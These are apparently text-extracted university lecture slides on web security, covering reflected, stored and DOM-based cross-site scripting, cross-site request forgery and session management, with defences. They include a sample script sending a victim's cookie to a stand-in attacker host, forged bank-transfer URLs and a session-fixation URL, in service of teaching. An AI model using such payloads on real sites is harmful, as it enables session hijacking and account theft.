程序代写代做代考 database html javascript Java graph FIT5003 Software Security

FIT5003 Software Security
Web Security II
1

Web Security
SQL Injection
Cross-Site Scripting Cross-Site request forgery
Session Management
2

XSS VULNERABILITY
Reflected XSS Stored XSS DOM-based XSS
4

XSS VULNERABILITY
Session hijacking
Unauthorised action
Disclosure of personal data
Execution of arbitrary commands on users’ computers
3

REFLECTED XSS
Web application sometimes employs dynamic page to display error message to user, e.g., Takes a parameter containing message text and render it back to user. Such parameter becomes the insertion point of a cross-site script
Idea: Craft a request containing embedded JavaScript that reflects to any user who makes the request
Accounts for approximately 75% of XSS vulnerabilities that exist in real-world web applications

REFLECTED XSS
6

ATTACK SCENARIO
User login, issued with a cookie
Set-Cookie:
sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
2. The attacker feeds the following URL to the user:
https://wahhapp.com/error.php?message=
3. User requests from the application the URL fed to them by the attacker
4. Server responds to the user’s request. The response contains the JavaScript created by the attacker
7

ATTACK SCENARIO
5. Attacker’s JavaScript is received by the user’s browser, and executes it 6. The malicious JavaScript created by the attacker is:
var i=new Image; i.src=”http://wahh-
attacker.com/“+document.cookie;
The request contains the user’s current session token for the application:
GET
/sessId=184a9138ed37374201a4c9672362f12459c2a65249
1a3 HTTP/1.1
Host: wahh-attacker.com
7. Attacker captured token to hijack the user’s session
7

HOW TO INJECT A MALICIOUS URL TO A HTTP REQUEST
8

THIS IS LIKELY TO SUCCEED
The link contains the same domain as the sender
If the link is for another domain (e.g. www.i-am-attacker.com),
most likely many users will not click and just ignore the email!
The link is using https (users may think https is secure and safe!)
The email asks user to login using their bookmark!
9

Another Practical example
https://excess-xss.com/
1. The attacker crafts a URL containing a malicious string and sends it to the victim.
2. The victim is tricked by the attacker into requesting the URL from the website.
3. The website includes the malicious string from the URL in the response.
4. The victim’s browser executes the malicious script inside the response, sending the victim’s cookies to the attacker’s server.

WHY BOTHER WITH XSS?
Why, if the attacker can induce the user to visit a URL of his choosing, bothers to transmit his malicious JavaScript via the XSS bug in the vulnerable application?
Why doesn’t the attacker simply host a malicious script on his site and feed the user a direct link to this script?
10

WHY BOTHER WITH XSS?
Because:
The attacker’s objective is not simply to execute an arbitrary
script but to capture the user’s session token.
Browsers separate content that is received from different origins/domains in order to prevent different domains from interfering with each other within a user’s browser
Browsers do not let just any old script access a domain’s cookies. Rather, cookies can be accessed only by the domain that issued them
They are submitted in HTTP requests back to the issuing domain only
They can be accessed via JavaScript contained within or
loaded by a page returned by that domain only 11

STORED XSS
Arises when:
Data submitted by one user is stored in the application (typically in a back-end database)
The data is then displayed to other users without being filtered or sanitised
13

COMMON PLACE FOR STORED XSS VULNERABILITIES
Applications that support interaction between end users
Where administrative staff access user records and data within the same application
14

EXAMPLE – VULNERABILITY
Consider an auction application that allows buyers to post questions about specific items and sellers to post responses
Suppose a user can post a question containing embedded JavaScript and the application does not filter or sanitise this
15

EXAMPLE – ATTACK
Attacker can post crafted question causing arbitrary scripts to execute within the browser of anyone who views the question
Potentially cause unwitting users to bid on an item without intending to, or cause a seller to close an auction and accept the attacker’s low bid
16

TYPICAL ATTACK METHODS
Involve at least two requests to the application
 Attacker posts some crafted data containing malicious code that the
application stores
 Victim views a page containing the attacker’s data, and the malicious code is executed when the script is executed in the victim’s browser
The vulnerability is also called  Second-order XSS
 Persistent XSS
17

ATTACK SCENARIO
The steps involved in a stored XSS attack

A Practical Example
https://excess-xss.com/
1. The attacker uses one of the website’s forms to insert a malicious string into the website’s database.
2. The victim requests a page from the website.
3. The website includes the malicious string from the database in the response and sends it to the victim.
4. The victim’s browser executes the malicious script inside the response, sending the victim’s cookies to the attacker’s server.

REFLECTED V.S. STORED XSS
For reflected XSS, in order to exploit it, the attacker must induce victims to visit his crafted URL
For stored XSS, this requirement is avoided
Having deployed the attack within the application, the attacker simply needs to wait for victims to browse to the page or function that has been compromised
Usually this is a regular page of the application that normal users will access of their own account.

REFLECTED V.S. STORED XSS
Objectives in exploiting XSS vulnerabilities are achieved more easily if the victim is using the application at the time of the attack
 E.g. If the user has an existing session, this can be immediately hijacked
 In a reflected XSS attack:
 The attacker may try to engineer this situation by persuading
the user to log in and then click a link that he supplies
 Or the attacker may attempt to deploy a persistent payload that waits until the user logs in
20

REFLECTED V.S. STORED XSS
In a stored XSS attack:
It is usually guaranteed that victim users will already be accessing the application at the time the attack strikes
If the page concerned is within the authenticated area of the application, any victim of the attack must also be logged in at the time
21

REFLECTED V.S. STORED XSS
Stored XSS flaws are often critical to an application’s security
In most cases, an attacker can submit some crafted data to the application and then wait for victims to be hit
If one of those victims is an administrator, the attacker will have compromised the entire application
22

DOM-BASED XSS
Both reflected and stored XSS vulnerabilities involve a specific pattern of behaviour
The application takes user-controllable data and displays this back to users in an unsafe way
DOM-Based XSS does not share this characteristic
23

DOM-BASED XSS
Common pattern of DOM-Based XSS exploit
A user requests a crafted URL supplied by the attacker
and containing embedded JavaScript
The server’s response does not contain the attacker’s script in any form
When the user’s browser processes this response, the script is executed nonetheless
24

DOM-BASED XSS
Client-side JavaScript can access the browser’s document object model (DOM) and therefore can determine the URL used to load the current page
A script issued by the application (pre-conditions):  Extract data from the URL: inject script here!
 Perform some processing on this data
 Use it to dynamically update the page’s contents.
When an application does this, it may be vulnerable to DOM-based XSS

DOM-BASED XSS
What does this script do?

DOM-BASED XSS
What the script does:
Parses the URL to extract the value of the message parameter Writes this value into the page’s HTML source code
27

DOM-BASED XSS
Attacker can craft a URL containing JavaScript code as the value of the message parameter
This code will be dynamically written into the page and executed in the same way as if the server had returned it
E.g.
http://domain- a.net/error/18/Error.ashx?message=
28

Another Practical example
https://excess-xss.com/
1. The attacker crafts a URL containing a malicious string and sends it to the victim.
2. The victim is tricked by the attacker into requesting the URL from the website.
3. The website receives the request, but does not include the malicious string in the response.
4. The victim’s browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.
5. The victim’s browser executes the malicious script inserted into the page, sending the victim’s cookies to the attacker’s server.

XSS COMPARISONS
DOM-based XSS vulnerabilities are more similar to reflected XSS bugs than to stored XSS bugs
Their exploitation typically involves an attacker’s inducing a user to access a crafted URL containing malicious code
The server’s response to that specific request causes the malicious code to be executed
https://www.acunetix.com/blog/articles/dom-xss-explained/
30

DEFNESES: PREVENTING XSS
Common cause is server copying user data directly into server response: no user input validation / sanitation!
Defense strategies:
Server input validation
Server output encoding / validation
Find and eliminate dangerous injection points
31

DEFENSES: PREVENTING XSS
Server Validation:
Whenever user input may be reflected back into one of future server
responses, perform a strict input validation check
Use our usual validation techniques:
Check length of inputs
Check inputs contain only valid characters
Check input matches a white-list (e.g. regular expression).
32

DEFENSES: Preventing XSS
Server output encoding / validation:
Whenever user inputs get reflected back in a server response, perform HTML-encoding (escaping) to sanitize script characters. Browser will treat encoded characters as data content rather than script / tags
Relatively straightforward for normal data inserted in “content” HTML tags
e.g. HTML code

&lt script &gt alert(‘attempt to inject script’) &#59 &lt &#47 script &gt

will cause browser to display < script > alert(‘attempt to inject script’); < /script >
(but no script will be executed)Example dangerous character encodings: “ — &quot, ‘ — &apos , & — &amp

DEFENSES: Preventing XSS
Server Output Encoding/Validation
User input in non-body HTML tags (e.g. tag attributes values) is
tricky to filter safely – Avoid it if possible!
Browser HTML-decodes the attribute value before interpreting HTML tagSimple HTML-encoding may be ineffective to prevent script injection!
E.g.
Browser will execute javascript and display cookie!
 (script will run!)

DEFENSES: Preventing XSS
Filter and Eliminate dangerous injection points, Avoid inserting user-controlled data into:
Existing script code: often easy for attacker to bypass filters
Tag attributes (especially URLs – see last slide!)
Do not allow attacker to manipulate character set of server response: Attacker can select it to bypass filters

DEFENSES: Preventing XSS
Preventing DOM-based XSS vulnerabilities
In DOM XSS, client browser should perform validation of data
from URL to be inserted into document
E.g. Regular expression for alphanumeric characters and whitespace HTML-encoding of data from URL by browser script
Additional defense: server side validation of URL data

Cross-Site Request Forgeries (CSRF)
• Recall: Cross-Site Scripting (XSS) vulnerabilities need attacker script to be reflected back from application (step 4):
• XSS prevented if application output is filtered/encoded to avoid reflecting attacker script – step 4 is blocked.
• BUT, steps 2 and 3 still possible! Can this still be exploited? • Sometimes, YES, via OSRF/CSRF vulnerabilities
39

Cross-Site Request Forgeries (CSRF)
40

Cross-Site Request Forgeries (CSRF)
• CSRF idea:
• Malicious web page causes user browser to submit a request for an unintended server action on behalf of the user
• E.g. user clicks malicious page link, causes user browser to place bid on eBay on behalf of user
• Only a one-way interaction
• step 2 request from browser to application • no script injection into browser needed!
• The source of the vulnerability: User requests for server actions can be easily faked (forged) by the attacker’s page request
• Exploits rely on server web app. only based on HTML domain cookies to identify users / sessions
• Cookies submitted automatically by browser!
• Attacker doesn’t need to include them in the request
• Attacker can guess all the required parameters in the request (not enough randomness)!
41

Cross-Site Request Forgeries (CSRF)
• Suppose there is an insecure ebanking http://bank.com/ • Alice wishes to transfer $100 to Bob
• Alice logins to http://bank.com
• Case 1: Using GET
GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1
• Carol first creates this http request: http://bank.com/transfer.do?acct=CAROL&amount=100000
• Carol uses some social engineering technique to tricks Alice clicking this link
42

Cross-Site Request Forgeries (CSRF)
• Case 2: Using POST
POST http://bank.com/transfer.do HTTP/1.1
acct=BOB&amount=100
• Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tag:

• This form will require the user to click on the submit button, but this can be also executed automatically using JavaScript:

Session Management
• Attacker’s goal:
• Hijack user’s session
• Obtain user’s session token
• Use token to impersonate as user to the web application,
Modify token to change web. App behaviour
• Common session mgt vulnerabilities • Easily predictable tokens
• Stolen tokens
• Modified tokens
47

Session Management
• Predictable token vulnerabilities • Common weak examples:
• session token = counter incremented for each user request • session token = customer number (public value?)
• session token = same for all users / requests
• Web application defense:
• Use strong cryptographic pseudorandom generator for random
token generation
• Use sufficiently long tokens for unpredictability
• E.g. >=128 bit random string (use e.g. base64 encoding to embed in HTTP request)
• Change to a new random token after each request
• Especially after anonymous->authenticated login • Session fixation vulnerabilities (see next slide)
48

Session Management
• Session Fixation Vulnerabilities • Suppose:
• same session token used for all requests
• session token = URL parameter in user request • Attack:
1. Attacker logs in anonymously to http://amazon.com
• Obtains session token: SESS=2as435sdf34251sdg
2. Attacker sends user john a URL with attacker’s session token • E.g. user gets email with URL
http://amazon.com/login.php?SESS=2as435sdf34251sdg
3. User clicks attacker’s URL and logs in to Amazon:
• Amazon associates attacker’s token with logged in user john
4. Attacker uses token to hijack user’s session: • Attacker requests
http://amazon.com/browse.php?SESS=2as435sdf34251sd g• Gets access to john’s amazon session
• Defense: John gets new session token from Amazon at step 3, attacker’s session id not accepted in step 4.
49

Session Management
• Stolen token vulnerabilities
• Common weak examples:
• Token sent across network unencrypted: Attacker eavesdrops token and hijacks session
• Mixed encrypted (https) and unencrypted (http) requests, e.g.:
• Application login encrypted but subsequent requests unencrypted
• Token sent unencrypted for subsequent requests
• Famous token stealing exploit over WiFi: Firesheep extension to
Firefox
• Unencrypted before login, encrypted after, but same token kept
• Attacker Uses unencrypted token eavesdropped before login to access a protected pages
• Defenses by web application:
• Send tokens only over encrypted channels (https)
• When setting cookies, use secure flag (browser will never send such cookies over http)
• Avoid sending tokens in URL • Invalidate tokens at logout
• Use session expiration
50

Session Management
• Modified token vulnerabilities
• Tokens have no integrity protection unless specifically implemented by web application
• Common weak examples:
• Cookies (even with secure flag) or request parameters can be
modified by client
• e.g. client changes token contents: shopping-cart total = $100 to shopping cart total = $10
• Cookies (even with secure flag) can be modified by network attacker modifying http set-cookie response of attacker web application
• Defense by web application:
• If possible, avoid storing critical parameters (e.g. shopping cart
total) on client side – store it on server.
• If need token integrity on client, add strong cryptographic authentication tags to token
• auth. tag generated/verified at server.
51